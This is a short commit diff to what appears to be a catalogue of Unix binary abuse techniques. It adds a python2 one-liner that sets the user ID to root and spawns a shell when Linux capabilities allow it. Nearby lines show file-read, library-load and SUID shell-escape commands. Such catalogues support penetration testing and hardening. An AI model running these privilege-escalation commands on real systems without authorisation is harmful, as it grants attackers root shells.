Drafting capabilities

This commit is contained in:
Emilio Pinna
2018-09-12 21:29:53 +01:00
parent 6e11e36a91
commit 1afd9ec9ec
3 changed files with 13 additions and 0 deletions

View File

@@ -30,6 +30,8 @@ functions:
- code: python2 -c 'open("file_to_read").read()'
load-library:
- code: python2 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
capabilities-enabled:
- code: ./python2 -c 'import os; os.setuid(0); os.system("/bin/sh")'
suid-enabled:
- code: ./python2 -c 'import os; os.system("/bin/sh -p")'
sudo-enabled: